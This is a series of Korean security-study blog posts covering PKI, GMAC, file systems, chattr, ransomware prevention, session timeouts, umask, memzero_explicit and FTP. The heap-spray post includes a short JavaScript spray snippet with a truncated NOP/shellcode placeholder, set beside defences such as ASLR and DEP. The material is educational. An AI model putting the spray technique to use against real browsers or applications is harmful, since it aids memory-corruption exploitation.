- CA는 공개키 인증서를 발급, 서명, 관리하는 가장 핵심적인 기관입니다. 사용자나 시스템이 제출한 공개키에 대해 신원을 확인한 후 이를 디지털 인증서로 만들어 서명합니다. 이 인증서는 해당 공개키가 특정 개인, 조직, 도메인 등에 속함을 증명합니다.
상세 기능
- 디지털 인증서 생성 및 서명
- 인증서 갱신 및 폐기
- 신뢰 체계 형성(루트 CA, 중간 CA 체계)
- 정책(CPS : Certification Practice Statement) 관리
예시
- 상업용 CA : DigiCert, GlobalSign, Sectigo
- 공공기관 CA : 한국정보인증, KISA 루트 CA
- 오픈소스 루트 CA : Let's Encrypt

2. RA(Registration Authorith, 등록기관)

역할
- RA는 CA의 위임을 받아 인증서 요청자의 신원을 검증하는 기관입니다. CA가 인증서를 발급하기 전에 RA가 사용자 또는 시스템의 신원과 정보를 확인하고 그 결과를 CA에 전달합니다.
상세 기능
- 인증서 신청 접수 및 사용자 신원 확인
- 신원확인 절차 수행(여권, 주민등록증, 도메인 소유권 확인 등)
- CSR(Certificate Signing Request) 처리
- CA와의 통신을 통한 발급 요청
비고
- RA는 보통 별도의 기관이 될 수 있고 CA 내부에 통합될 수도 있음
- 대규모 조직에서는 내부 RA를 통해 인증서 자체를 관리

3. Ceritificate(디지털 인증서)

역할
- 디지털인증서는 공개키와 해당 소유자의 정보를 포함하며, CA의 디지털 서명이 포함되어 있어 인증서의 무결성과 신뢰성을 보장합니다. 이를 통해 해당 공개키가 누구의 것인지 신뢰할 수 있습니다.

4. CRL(Ceritificate Revocation List, 인증서 폐지 목록)

역할
- CRL은 폐기된 인증서들의 목록입니다. 인증서가 유효기간 내라도, 유출되었거나 사용 중단되었을 경우에는 신뢰할 수 없게 됩니다. 이런 인증서를 리스트에 올려서 수신자가 확인하고 무효 인증서를 거를 수 있게 합니다.
상세 기능
- 인증서의 유효성 검증 시 사용
- 주기적으로 CA가 업데이트함
- 인증서 일련번호 깁만 목록 제공
한계
- 최신 CRL 확인을 위한 시간 지연
- 해결책 : OCSP(Online Ceritificate Status Protocol) 사용 -> 실시간 검증 가능

5. PKI 사용자(Entity)

역할
- PKI를 사용하는 사람, 소프트웨어, 디바이스 등을 통칭합니다. 이들은 CA로부터 발급받은 인증서를 사용하여 암호화, 서명, 인증 등의 작업을 수행합니다.
예시
- 사용자의 이메일 클라이언트(S/MIME 사용)
- 웹 서버(HTTPS 적용을 위한 SSL 인증서 사용)
- IoT 장비(기기간 인증 및 보안 통신)
- 기업의 VPN 클라이언트(사용자 인증을 위해 인증서 사용)
종류
- End-entity : 최종 사용자, 서버, 클라이언트 등
- Application : 소프트웨어 모듈 또는 웹 서비스 등

6. Repository(저장소)

역할
- 인증서와 CRL 등 관련 정보를 저장하고 사용자 및 시스템이 이를 검색하고 검증할 수 있게 해주는 저장소 역할을 합니다. 일반적으로 인터넷에 공개되어 누구나 접근할 수 있도록 설정됩니다.
내용물
- CA의 루트 인증서 및 중간 인증서
- 사용자 인증서
- CRL(또는 OCSP Responder 정보)
- 인증서 정책 문서(CPS 등)

인증서의 구성 요소

디지털 인증서는 보통 X.509 표준을 따릅니다. 주요 항목은 다음과 같습니다.

사용자 이름, 이메일 주소, 조직 등 식별 정보
공개키
인증서 발급자 정보(CA)
유효기간
일련번호
서명 알고리즘
CA의 디지털 서명

PKI작동원리

1.인증서 발급과정

사용자가 인증서를 요청(CSR : Certificate Signing Request 생성)
RA가 사용자의 신원을 확인
CA가 확인된 사용자에게 인증서 발급
사용자는 자신의 공개키가 포함된 인증서를 받음

2. 데이터 암호화 및 복호화

기밀성(Confidentiality): 송신자가 수신자의 공개키로 암호화 -> 수신자는 자신의 개인키로 복호화
무결성 및 부인방지(Integrity & Non-repudiation) : 송신자가 자신의 개인키로 서명 -> 수신자가 송신자의 공개키로 서명 검증

3. 인증서 검증

인증서를 수신하면, 인증서에 서명한 CA의 공개키로 서명을 검증
인증서의 유효기간을 확인
CRL이나 OCSP를 통해 인증서 폐지 여부 확인

PKI가 제공하는 보안기능

보안 기능	설명
기밀성	공개키로 암호화, 개인키로 복호화
무결성	디지털 서명으로 데이터 변경 여부 확인
인증(Authentication)	디지털 인증서로 사용자 신원 확인
부인방지	디지털 서명으로 행동에 대한 책임 추적 기능

PKI의 실제 활용 예시

HTTPS / SSL 인증서 : 웹사이트의 신원을 보장하고 안전한 통신 제공
전자서명 : 문서 위변조 방지 및 서명자 신원 확인
이메일 암호화(S/MIME) : 이메일 기밀성과 무결성 보장
VPN 및 무선 네트워크 인증
IoT 기기 인증 및 통신 보안

메시지인증코드 GMAC 알고리즘 개념 및 동작과정

defcon — Wed, 28 May 2025 18:50:52 +0900

GMAC은 Galois Message Authentication Code의 약자로 주로 GCM(Galois/Counter Mode)이라는 블록암호 운영모드에서 사용하는 인증 코드 생성 방식입니다.

GMAC는 데이터의 무결성과 진위확인을 위해 사용됩니다.

GCM에서 암호화는 하지 않고 인증만 수행하는 경우를 GMAC이라고 부릅니다.

GMAC 동작과정

GMAC은 기본적으로 블록암호 알고리즘과 Galois 필드(GF(2^128))에서의 수학 연산을 기반으로 합니다. 아래는 GMAC 동작과정을 간단하게 설명한 것입니다.

입력값

비밀키(K) : 블록암호 알고리즘에 사용하는 키
초기화 벡터(IV) : Nonce, 길이는 일반적으로 96비트
인증할 메시지(A) : 암호화하지 않고 인증만 수행할 데이터

동작절차

해시 서브키(H) 생성
- 블록암호 알고리즘으로 128비트의 0 블록을 암호화하여 해시키 H = K(0128)를 생성
- 이 키는Galois 필드 연산에 사용됩니다.
GHASH 함수 준비
- GMAC의 핵심은 GHASH라는 함수이니다.
- GHASH는 해시 키 H와 입력 메시지 A를 Galois 필드에서 곱셈 및 덧셈하여 해시값을 만듭니다.
- 메시지 A는 128bit 블록으로 패딩되어 처리됩니다.
Y0 생성(IV 처리)
- 96bit IV의 경우 Y_0 = IV || 0x00000001
- 그 외의 경우 GHASH를 사용하여 Y_0 계산
태그 생성
- GHASH 결과 S를 얻은 후 Tag = K(Y_0) ⊕ S 계산
- 이 최종 결과가 GMAC 태그입니다. 이 값은 메시지의 무결성을 보장합니다.

function GMAC(Key, IV, AAD):
    # 1. 해시 서브키 H 계산
    H := AES_Encrypt(Key, 0^128)

    # 2. IV 처리 → 초기 counter 블록 Y₀ 계산
    if length(IV) == 96 bits:
        Y0 := IV || 0x00000001
    else:
        Y0 := GHASH(H, [], IV)  # IV를 GHASH로 처리하여 Y0 생성

    # 3. AAD에 대한 해시 계산
    S := GHASH(H, AAD)

    # 4. 최종 태그 계산
    Tag := AES_Encrypt(Key, Y0) ⊕ S

    return Tag

보조함수 GHASH

function GHASH(H, AAD):
    X := 0^128  # 초기값

    # AAD를 128비트 블록으로 나눔 (패딩 포함)
    AAD_blocks := split_and_pad(AAD, 128)

    for block in AAD_blocks:
        X := (X ⊕ block) × H  # 곱셈은 GF(2^128) 상에서 수행

    return X

GCM과 GMAC의 입력 구성

항목	GCM	GMAC
Key(K)	O	O
IV	O	O
AAD	선택적	필수(인증대상)
Plaintext(P)	O	X
Authentication	AAD + P	AAD
Encryption	O	X

파일시스템 FAT, NTFS, EXT 개념

defcon — Wed, 28 May 2025 12:47:34 +0900

파일시스템은 운영체제가 저장장치에 데이터를 저장하고 관리하는 체계 또는 방법을 말합니다.

쉽게말해, 컴퓨터가 파일을 저장하고 찾을 수 있도록 하는 규칙과 구조를 의미합니다.

파일 시스템의 주요 구성 요소

구성 요소	설명
파일(File)	이름과 데이터를 가진 저장단위 (ex. report.docx, image.jpg ..)
디렉터리(Directory)	파일을 그룹화해서 관리하는 구조. 곛층적 트리 구조 가능
메타데이터(Metadata)	파일의 이름, 크기 생성일, 권한 등의 정보
블록(Block)	저장장치를 나누 ㄴ단위. 파일은 여러 블록에 나뉘어 저장됨
할당 테이블 / 인덱스노드(inode)	파일이 저장된 블록 위치를 추적하기 위한 정보 구조
저널(Journal)	시스템 충돌에 대비해 변경사항을 기록하는 로그

파일시스템의 종류

이름	설명
FAT32	단순하고 호환성 좋음. USB 등에 사용
NTFS	Windows 기본 시스템, 고급 기능 다수
EXT4	Linux에서 널리 사용됨. 성능 우수
exFAT	FAT32 보다 큰 파일 지원. USB에 최적
APFS	macOS용 최신 파일 시스템

1. FAT(File Allocation Table)

종류
- FAT12 : 가장 초기 버전, 플로피 디스크용
- FAT16 : DOS 시절부터 널리 사용됨
- FAT32 : Windows 95 OSR2 이후 등장, 현재는 USB 메모리나 SD 카드에서 많이 사용
구조
- 파일 할당 테이블(FAT) : 클러스터 단위로 파일의 위치를 추적하는 테이블
- 디렉터리 엔트리 : 파일 이름, 크기, 속성, 시작 클러스터 등의 정보를 저장
- 데이터 영역 : 실제 파일의 데이터가 저장되는 곳
특징
- 호환성 : 대부분의 운영체제에서 지원(Windows, Linux macOS)
- 파일 크기 제한 : FAT32는 단일 팡리 최대 4GB, 파티션 최대 2TB
- 보안/저널링 없음 : 권한 설정, 파일 복구 기능이 없음
- 속도 : 단순한 구조로 속도는 빠르지만 클러스터 낭비가 많음
사용 예시
- USB 플래시 드라이브
- 디지털 카메라, 게임 콘솔 저장장치

2. NTFS(New Technology File System)

도입
- Microsoft가 Windows NT 계열에서 도입(현재 Windows의 기본 파일 시스템)
구조
- Master file Table(MFT) : 모든 파일과 디렉터리의 메타데이터를 관리
- 저널링 : 파일 시스템 변경사항을 기록하여 손상 시 복구 용이
- 보안 : 파일 수준의 액세스 제어 목록(ACL)을 지원
특징
- 파일 크기 제한 없음(이론 상 16EB, 실질적으로 수 TB)
- 압축 및 암호화 기능 지원
- 디스크 쿼터, 하드링크 트랜잭션 등 고급기능
- 조각모음 필요성이 있음
사용예시
- Windows 설치 디스크
- 서버 환경에서의 데이터 저장

3. EXT(Extended File System)

버전
- ext(초기버전) : Linux 최초의 파일 시스템, 현재는 사용되지 않음
- ext2 : 저널링 없음. 하지만 안정적이고 가볍다
- ext3 : ext2에 저널링 기능을 추가
- ext4 : 현재 리눅스에서 가장 널리 사용됨
구조
- Inode 기반 구조 : 각 파일은 inode를 통해 메타데이터를 관리
- 블록 그룹 : 데이터를 효율적으로 분산 저장
- 저널링(ext3, ext4) : 변경사항을 기록하여 복구 시간 단축
ext4 의 특징
- 최대 파일 크기 16TB
- 파일 시스템 크기 : 최대 1EB
- 저널링 + 지연할당 : 성능 향상
- Backward compatibility : ext3, ext2와 호환
- Extent 지원 : 연속된 블록 할당으로 큰 파일 처리 효율 향상
사용 예시
- Linux OS 디스크
- 웹서버, 데이터 센터의 파일 저장소

4. APFS(Apple File System)

개요
- 개발 : 애플, 2017년 macOS High Sierra부터 기본 파일 시스템
- 대상 : macOS, iOS, iPadOS, watchOS, tvOS
구조 및 특징
- 64bit 인덱싱 : 대용량 저장장치 대응
- 스냅샷 : ㅈ상태 저장 및 복구 용이
- 저널링 대신 CoW(Copy on wirte) 구조 사용
- 공간 공유(Space sharing) : 하나의 볼륨이 여러 컨테이너에서 저장 공간 공유 가능
장점
- 파일 복사 시 빠름 : 실제 데이터 복사 대신 메타데이터만 변경
- 암호화 내장 : 기본적으로 뎇이터 암호화 지원(파일별 또는 전체 디스크)
- SSD 최적화
한계
- 타 OS에서 지원 부족 : Windows, Linux에서 공식 지원 없음
- 구 버전 macOS 및 외부 기기와 호환성 낮음

특징	FAT32	NTFS	EXT4	APFS
최대 파일 크기	4GB	수 페타바이트	16TB	수 페타바이트
최대 파티션 크기	2TB(실제 32GB 권장)	수 페타바이트	1EB(이론상)	수 페타바이트
저널링	X	O	O	O(CoW 기반)
암호화	X	O	X	O
SSD 최적화	X	부분적	제한적	O
호환성	매우 높음	Windows wndtla	Linux 중심	Apple 생태계 중심

Heap Spray 공격의 개념과 방지방법(ASLR, DEP)

defcon — Tue, 27 May 2025 10:52:51 +0900

Heap spary 공격이란 악의적인 코드나 데이터를 메모리의 힙 영역에 대량으로 뿌려넣는 방식으로 취약점을 악용해 악성코드를 실행하도록 유도하는 공격 기법이다.

보통 브라우저나 애플리케이션의 메모리 취약점, 특히 Use-After-Free, Buffer Overflow 또는 메모리 주소 제어와 관련된 취약점을 악용할 때 사용된다.

Heap : 프로그램이 실행 중에 동적으로 할당하는 메모리 공간. 일반적으로 malloc, new 같은 함수로 요청
Spray : 메모리 공간에 같은 데이터를 반복적으로 퍼붓는 행위
목적 : 특정 위치에 악성 코드를 배치하여, 취약점 트리 시 해당코드가 실행되도록 함

공격단계별 설명

1. 공격 벡터 실행

공격자는 일반적으로 웹 브라우저, PDF 뷰어, Flash, 또는 취약한 애플리케이션을 통해 공격 코드를 전달함. 자바스크립트같은 고수준 언어를 사용하여 힙에 데이터를 뿌림

2. 악성 페이로드 준비

공격자는 Shellcode 또는 ROP(Ret2LibC 등) 체인을 포함한 악성코드를 작성하고 이를 메모리 여러 위치에 배치함. 이때, NOP 슬레드(NOP Sled)를 포함해 예측 가능성을 높임

3. Heap Spray

동일한 데이터(예: Shell Code + NOP + Padding)를 대량으로 할당하여 힙의 여러 영역에 분산시킴. 이를 통해 프로그램 흐름이 어느 주소로 튀더라도 악성코드가 실행될 확률을 높임

4. 취약점 트리거

Use-After-Free, Buffer Overflow 등의 취약점을 유발하여 프로그램의 흐름이 공격자가 뿌린 힙 영역(악성코드가 위치한 주소)로 이동하도록 함

5. 악성코드 실행

흐름이 옮겨진 후 NOP 슬레드를 통해 Shell Code에 도달하고, 이 Shell code 가 실행되면 시스템이 손상되거나 악성행위가 실행됨(ex. Reverse Shell , Backdoor)

Javascript를 사용한 Heap Spray 예시

var shellcode = unescape("%u9090%u9090...%uc931"); // NOP + Shellcode
var block = shellcode;

while (block.length < 0x10000) block += block; // 큰 블록 생성

var memory = [];
for (var i = 0; i < 500; i++) {
    memory[i] = block.substring(0, block.length); // 메모리에 대량 배치
}

Heap spray 방어 방법

방법	설명
ASLR(Address Space Layout Randomization)	메모리 주소를 매실행마다 무작위로 할당해 예측을 어렵게 함
DEP(Data Execution Prevention)	데이터 영역(힙, 스택 등) 의 코드실행을 차단
최신 브라우저/소프트웨어 사용	힙 스프레이 방지 기법이 포함된 최신 보안 기능
정적/동적 분석 도구	Heap Spray와 같은 공격을탐지하는 보안 솔루션 사용

리눅스 파일 속성 설정 명령어 chattr

defcon — Mon, 26 May 2025 09:00:09 +0900

chattr(change attribute)는 리눅스에서 파일 또는 디렉터리에 특수속성을 설정하거나 해제하는데 사용하는 명령어입니다.

이 속성은 일반적인 권한 시스템보다 더 세밀하게 파일의 동작을 제어할 수 있게 해주며, 주로 ext2, ext3, ext4 파일 시스템에서 사용됩니다.

기본 사용법

chattr [옵션] [+/-/=속성] 파일명

예시:

chattr +i important.txt

chattr 주요 속성 목록

속성	의미
a	Append Only(추가만 허용) - 기존 내용 수정 불가
i	Immutable(변경 불가) - 삭제, 이름변경, 내용 변경 모두 금지
d	Dump 무시 - 백업 시 dump 명령이 무시됨
u	Undeletable(복구 가능 삭제) - 삭제 후 복구 가능(일부 시스템에서만 지원)
s	Secure deletion - 삭제 시 디스크 블록을 0으로 덮어씀
e	Extends - ext4에서 extent 기반 저장 구조 사용 표시
c	Comppressed - 파일 자동 압축 저장
j	Journaled - ext3에서 데이터 journaling 적용

+/-/= 사용법

+ : 속성 추가
- : 속성 제거
= : 해당 속성만 설정하고 나머지는 제거

예시

chattr +a mylogfile		# 추가만 허용
chattr -i config.yaml	# 변경 불가 속성 해제
chattr =a file.txt		# append 속성만 설정하고 나머지는 모두 제거

현재 속성 확인 - lsattr

lsattr [옵션] 파일명

예시:

lsattr important.txt

출력 예시

----i--------e-- important.txt

+i 속성의 효과

chattr +i file.txt

i 속성이 설정된 경우

파일 삭제 불가
내용 수정 불가
이름 변경 불가
심지어 root도 직접 변경 불가

속성 제거

chattr -i file.txt

주의사항

chattr은 일반 사용자에게 제한됨. 보통 root 권한 필요
ext4 파일 시스템에서 동작. XFS, Btrfs 등에서는 일부 속성이 비지원
백업 및 복구 도구에서 이 속성이 영향을 줄 수 있음

실전 예제

1. 로그 파일을 append-only로 만들기

chattr +a /var/log/secure

2. 중요 설정 파일을 보호

chattr +i /etc/passwd

3. 복원 준비를 위해 삭제 복구 속성 추가

(해당 기능은 일부 시스템만 지원)

chattr +u important_backup.tar.gz

랜섬웨어의 개념 및 예방조치

defcon — Sun, 25 May 2025 16:55:56 +0900

랜섬웨어란?

랜섬웨어(Ransomware)는 사용자의 파일이나 시스템을 암호화하거나 접근을 제한한 뒤, 이를 해제하는 대가로 금전(주로 암호화폐)을 요구하는 악성코드(Malware)입니다.

랜섬(Ransom)은 인질을 풀어주는 대가로 요구하는 몸값이라는 뜻이고,

웨어(Ware)는 소프트웨어를 의미합니다.

따라서 랜섬웨어는 데이터를 인질로 잡고 금전을 요구하는 악성 소프트웨어 입니다.

주요 동작 원리

1. 감염 단계

이메일 첨부파일, 악성링크, 취약한 원격 데스크톱(RDP), 드라이브 바이 다운로드 등을 통해 감염

2. 탐색 및 암호화

시스템 내부 및 네트워크 공유 드라이브를 탐색하여 중요 파일(문서, 이미지, 데이터베이스 등)을 선별
고급 암호화 알고리즘(AES, RSA 등)을 사용하여 파일을 암호화
원본 파일 삭제 또는 이름 변경

3. 협박 및 요구

바탕화면이나 텍스트 파일로 랜섬 노트(Ransom Note)를 표시
특정 기간 내에 비트코인 등 암호화폐로 금전을 요구
지불 시 복호화 키를 제공하겠다고 주장

암호화 방식

대칭키 암호화(AES 등) : 빠르게 파일을 암호화함. 키가 유출되면 복호화 가능
비대칭키 암호화(RSA 등) : 공격자만 복호화 키를 보유. 더 안전한 방식
일부는 하이브리드 방식(AES + RSA) 사용

대표적인 랜섬웨어 종류

이름	특징
WannaCry	SMB 취약점(EternalBlue) 악용, 전 세계적 확산
Petya/NotPetya	MBR 감역으로 부팅 불가, 파괴적 성격 강함
Locky	이메일 첨부파일을 통해 빠르게 확산
Ryuk	기업 대상 표적 공격, 높은 몸값 요구
Maze	암호화 + 데이터 유출로 이중 협박
Conti	빠른 암호화와 네트워크 확산 능력

랜섬웨어의 기술적 방지 조치

1. 백업 및 복구 시스템 구축

정기적인 백업 : 주요 데이터를 주기적으로 백업하고, 백업 파일은 물리적으로 또는 논리적으로 분리된 위치
(ex. 오프라인 또는 클라우드)에 저장
백업 무결성 검증 : 복구 가능 여부를 정기적으로 테스트

2. 최신 보안 업데이트 적용

운영체제 및 소프트웨어 업데이트 : 알려진 취약점을 악용한 공격 차단
서드파티 앱도 최신 패치 유지

3. 악성코드 탐지 및 방어시스템 운영

차세대 안티 바이러스(NGAV) 및 EDR(Endpoint Detection & Response) 솔루션 도입
행위 기반 탐지 : 파일 암호화 등 이상 행위 탐지 시 즉시 차단
네트워크 기반 탐지(NDR) : 비정상적인 트래픽 모니터링 및 경고]

4. 네트워크 및 시스템 접근 통제

최소 권한 원칙(Least Privilege) 적용
관리자 계정 분리 및 다중 인증(MFA) 적용
방화벽/IPS 설정 강화 : 외부와의 불필요한 연결 차단
SMB/FTP/RDP 등 취약 서비스 비활성화 또는 접근 제한

5. 이메일 및 웹 보안 강화

스팸 필터링 및 첨부파일/링크 분석 솔루션(SandBox) 적용
이메일 인증 기술(DMARC, DKIM, SPF) 활요
웹 필터링으로 악성 사이트 접근 차단

6. 애플리케이션 제어 및 화이트리스트 사용

허용된 애플리케이션만 실행 가능하도록 제한
스크립트/매크로 자동 실행 차단 : MS Office나 PowerShell, JavaScript 등 제한

7. 보안 로그 모니터링 및 이상행위 감지

SIEM 등의 로그 통합 분석 솔루션으로 이상 행위 실시간 감지
파일 암호화 속도 급증, 확장자 변경 등의 징후 분석

8. 네트워크 분리 및 가상화

업무망과 인터넷망 분리(물리적 또는 논리적)
중요 자산은 VDI, 가상환경 등 격리된 환경에서 운용

9. 취약점 점검 및 모의훈련

정기적은 보안 취약점 스캔 및 점검
랜섬웨어 대응 훈련 및 시뮬레이션

리눅스 세션 타임아웃 설정 방법 TMOUT

defcon — Sun, 25 May 2025 12:07:31 +0900

리눅스에서 세션 타임아웃(Session Timeout) 설정은 보안이나 자원 관리를 위해 일정 시간 동안 사용자의 활동이 없으면 자동으로 세션(특히 쉘 세션)을 종료시키는 기능입니다.

이를 설정하는 방법은 사용하는 쉘 종류(ex. bash, Zsh ..)에 다라 다르지만, 본 글에서는 일반적으로 많이 사용하는 Bash 쉘 기준으로 설명합니다.

Bash에서 세션 타임아웃 설정

1. TMOUT 환경 변수 사용

Bash에서는 TMOUT 이라는 환경 변수를 사용하여 타임아웃을 설정할 수 있습니다.

export TMOUT=600

위 설정은 사용자가 600초 동안 아무 입력이 없으면 세션을 종료합니다.

~/.bashrc 또는 /etc/profile 파일에 추가하면 사용자 또는 시스템 전체에 적용할 수 있습니다.

예시 : 사용자 기준 설정

echo "export TMOUT=600" >> ~/.bashrc
source ~/.bashrc

예시 : 시스템 전체 설정

echo "export TMOUT=600" >> /etc/profile

보안 강화 : 자동 로그아웃 강제

사용자가 TMOUT을 수정하지 못하도록 하려면 readonly로 설정할 수 있다.

readonly TMOUT=600
export TMOUT

Zsh에서 세션 타임아웃 설정

Zsh에서는 다음과 같은 설정을 사용합니다.

export TMOUT=600
autoload -Uz add-zsh-hook
add-zsh-hook -Uz idle-exit

idle-exit() {
	exit
   }

또는 .zshrc에 아래 한 줄만 써도 기본 동작합니다.

export TMOUT=600

기타 고려사항

sudo 명령이나 루트 계정에는 별도로 설정해야 합니다.( /root/.bashrc 등)
screen이나 tmux 세션의 경우 자체 타임아웃 기능을 설정해야 합니다.
SSH 연결 자체의 타임아웃도 별도 설정이 가능합니다.(ex. ClientAliveInterval / ClientAliveCountMax)

SSH 연결 타임아웃 설정 예(서버 측)

# etc/ssh/sshd_config

ClientAliveInterval 300
ClientAliveCountMax 0

300초 동안 아무 활동이 없으면 세션 종료

변경 후 systemctl restart sshd 필요

linux umask 개념 및 umask값 설정

defcon — Sat, 24 May 2025 09:20:38 +0900

umask는 user file-creation mode mask의 줄임말로, 리눅스 및 유닉스 시스템에서 새로 생성되는 파일이나 디렉터리에 기본으로 적용될 권한을 제한하는데 사용되는 설정입니다. 즉, 새 파일이나 디렉터리를 만들 때 부여될 기본 권한ㄴ에서 제거할 권한을 지정하는 역할을 합니다.

기본 개념

리눅스에서 파일과 디렉터리는 기본적으로 특정한 권한을 갖고 생성됩니다.
- 일반 파일의 기본 권한 : 666(rw-rw-rw-)
- 디렉터리의 기본 권한 : 777(rwxrwxrwx)

그러나 umask 값에 따라 이 기본 권한에서 일부 권한이 제거됩니다.

사용예시

umask 022

이 설정은 새로 만든 파일/디렉터리에서 다른 사용자(other)와 그룹(group)에 쓰기 권한을 제거합니다.

계산 방법:

기본 권한에서 umask값을 빼는 방식으로 최종 권한을 계산합니다.

항목	파일 기본 권한	디렉터리 기본 권한	umask값	최종 파일 권한	최종 디렉터리 권한
예시	666	777	022	644	755

666 - 022 = 644
- 파일권한 : rw-r--r--
777 - 022 = 755
- 디렉터리 권한 : rwxr-xr-x

umask 확인 및 설정

현재 umask 값 확인

umask

출력이 0022 처럼 4자리면 첫자리는 특별한 설정(ex. setuid) 관련이며 일반적으로 무시해도 된다.

임시로 umask 설정(현재 세션만)

umask 027

이는 현재 세션에만 적용되며, 터미널을 종료하면 초기화됩니다.

영구설정

로그인 시 자동 적용되게 하려면 다음 파일들 중 하나에 설정을 추가
- ~/.bashrc
- ~/.profile
- /etc/profile 또는 /etc/bash.bashrc(시스템 전역)

예시 :

echo "umask 027" >> ~/.bashrc

사용 예제

umask 077
touch myfile
ls -l myfile

예상 결과

-rw------- 1 user user 0 May 24 13:00 myfile

설명 : 모든 권한은 사용자에게만 있고, 그룹과 다른 사용자에게는 전혀 없음

상황별 umask 권장값

1. 개인 사용자용 데스크탑/노트북

권장 umask
- 022
설명
- 사용자가 생성한 파일은 ㅁ본인에게는 읽기/쓰기 권한이 있고, 다른 사용자에겐 읽기 권한만 있습니다.
이유
- 협업 필요 없음
- 보안 위협도 낮음
결과
- 파일 : rw-r--r--
- 디렉터리 : rwxr-xr-x

2. 여러 사용자가 협업하는 시스템 (예. 개발서버 및 웹서버)

권장 umask
- 002
설명
- 같은 그룹에 속한 사용자는 읽기/쓰기 가능하게 허용
전제조건
- 사용자들이 같은 그룹으로 설정되어 있어야 함
이유
- 공동 작업 폴더에서 파일을 공유해야 할 때 유용
결과
- 파일 : rw-rw-r--
- 디렉터리 : rwxrwxr-x

3. 보안이 중요한 서버(예 : 금융, 개인정보 취급)

권장 umask
- 077
설정
- 파일은 소유자만 접근 가능하고, 그룹이나 다른 사용자는 접근 불가
이유
- 기밀 정보보호 필요
- 외부 사용자 접근 차단
결과
- 파일 : rw-------
- 디렉터리 : rwx------

4. 웹서버나 서비스 계정용 시스템 계정

권장 umask
- 027
설명
- 그룹은 읽기 가능, 다른 사용자는 접근 금지
이유
- 로그 파일 등은 관리자나 개발자 그룹이 읽어야 할 수 있지만, 일반 사용자 접근은 차단해야 함
결과
- 파일 : rw-r------
- 디렉터리 : rwxr-x---

Linux Kernel 안전한 제로화 함수 memzero_explicit

defcon — Fri, 23 May 2025 18:37:24 +0900

memzero_explicit() 함수

메모리 영역을 명시적으로 0으로 초기화하는 함수로 민감한 데이터를 메모리에서 완전히 제거해야 할 때 사용한다.

보통 C/C++ ㅇ언어에서 보안 관련 프로그래밍을 할 때 사용한다. 암호화를 위한 키나 패스워드와 같은 민감한 정보를 메모리에서 확실하게 제거하기 위해서 사용된다.

일반적으로 memset()으로 메모리를 0으로 초기화하는 것이 가능하지만 컴파일러에 의한 최적화 과정에서 memset() 호출 코드를 제거할 수 있다. 이 경우에 제로화가 동작하지 않는다.

memset 대신 memzero_explicit() 함수를 사용하면 컴파일러에 의해 코드가 삭제 되지 않는다.

함수 원형

static inline void memzero_explicit(void *s, size_t count);

memzero_explicit 함수 사용 예시

커널 또는 사용자 공간의 암호화 라이브러리
로그인 시스템에서 비밀번호 처리 후
TLS 세션 키 삭제 시
파일 암호화/복호화 작업 후

memzero_explicit() 함수는 Linux 커널의 include/linux/string.h 헤더 파일에 정의되어 있다.

함수는 static inline으로 정의되어 있어 컴파일 시점에 인라인으로 확장되어 함수 호출 오버헤드를 줄이고 최적화 방지 효과를 유지한다.

초기에는 memzero_explicit() 함수가 lib/string.c 파일에 정의되어 있었다. 그러나 이후 커널 버전에서 include/linux/string.h 헤더 파일로 이동되어 static inline 함수로 정의되었다.

static inline void memzero_explicit(void *s, size_t count)
{
	memset(s, 0, count);
	barrier_data(s);
}

barrier_data(s); 코드로 인해 컴파일러가 memset() 함수 호출을 최적화하여 제거하지 않도록 하는 역할을 한다.

barrir_data 는 매크로 함수로 정의되어 있으며, 코드는 다음과 같이 구현되어 있다.

#define barrier_data(ptr) \
  __asm__ __volatile__ ("" : : "r"(ptr) : "memory")

해당 매크로는 아무런 연산을 하지 않는 빈 인라인 어셈블리로 보이지만 매우 중요한 역할을 수행한다.

__asm__+ __volatile__
- __asm__은 인라인 어셈블리를 의미한다.
- __volatile__은 컴파일러가 이 코드를 절대로 제거하거나 재배치하지 않도록 강제한다.
"r"(ptr)
- ptr을 레지스터에 넣으라고 명시한다. 이로 인해 컴파일러는 ptr이 실제로 참조되었음을 인식한다.
"memory"
- 이는 메모리 클로버(memory clobber)라고 부르며, 컴파일러에게 이 어셈블리 코드는 메모리에 영향을 줄 수 있다고 알린다.
- 따라서 컴파일러는 memset() 이후에 메모리 상태가 바뀔수 있다고 간주하게 되어 memset() 호출을 제거하거나 무시하지 못한다.

FTP의 개념 및 보안취약성

defcon — Sun, 18 May 2025 14:27:41 +0900

1. FTP(File Transfer Protocol)이란?

FTP는 클라이언트와 서버간에 파일을 전송하기 위한 TCP/IP 기반의 표준 통신 프로토콜입니다.

FTP는 1970년대에 처음 설계되었고, 현재도 파일 전송 용도로 널리 사용되고 있습니다.

2. FTP의 주요 목적

파일 업로드 : 클라이언트에서 서버로 파일 전송
파일 다운로드 : 서버에서 클라이언트로 파일 전송
파일 관리 : 디;렉터리 생성, 삭제 파일이름변경 등

3. FTP의 동작 방식

FTP는 클라이언트-서버 구조로 동작합니다.

연결 구성
- 클라이언트가 서버에 접속하려면 서버의 IP주소와 포트번호(기본 21번)가 필요합니다.
- 사용자는 일반적으로 아이디/비밀번호로 로그인합니다.(익명 로그인도 가능)
2개의 연결을 사용
- FTP는 2개의 별도 연결을 사용합니다.
  - 제어 연결(Control Connection) : 명령어와 응답을 주고받는 용도(기본 21번 포트)
  - 데이터 연결(Data Connection) : 실제 파일을 전송하는 용도
모드

모드	설명
Active Mode	클라이언트가 제어 연결을 열고, 서버가 데이터 연결을 역방향으로 한다.
Passive Mode	클라이언트가 제어 및 데이터 연결을 모두 연다(방화벽 우회 가능)

4. FTP의 장단점

장점
- 오랜 역사를 가진 안정적인 프로토콜
- 대용량 파일 전송에 적합
- 다양한 운영체제 지원
단점
- 보안이 약함
- 아이디/비밀번호도 평문으로 전송됨
- 보안을 위하여 FTPS, SFTP 사용이 권장됨

5. FTP 프로토콜

SFTP
- SFTP는 이름에 FTP가 들어가지만 FTP와는 전혀 다른 프로토콜임
- SSH 상에서 동작하며, 기본포트는 22번으로 모든 데이터 전송은 암호화됨

항목	내용
프로토콜 기반	SSH
포트번호	22
보안성	매우 높음(암호화 + 인증)
인증방식	비밀번호 또는 공개키
전송방식	단일 연결(제어/데이터 통합)
명령어 지원	파일 전송, 이름 변경, 삭제[, 디렉토리 생성 등

구현이 상대적으로 복합하고 기존 FTP와의 명령어 호환이 되지않는 단점이 존재하지만 모든 트래픽이 암호화되기 때문에 보안성이 매우 우수하며, 접근제어와 로그관리가 쉽다.

TFTP
- 매우 단순한 형태의 FTP로 UDP 기반(포트 69번)으로 동작하고 인증과 암호화 기능이 존재하지 않음
- 자원이 제한된 임베디드 또는 라우터 환경에서도 사용할 수 있다.
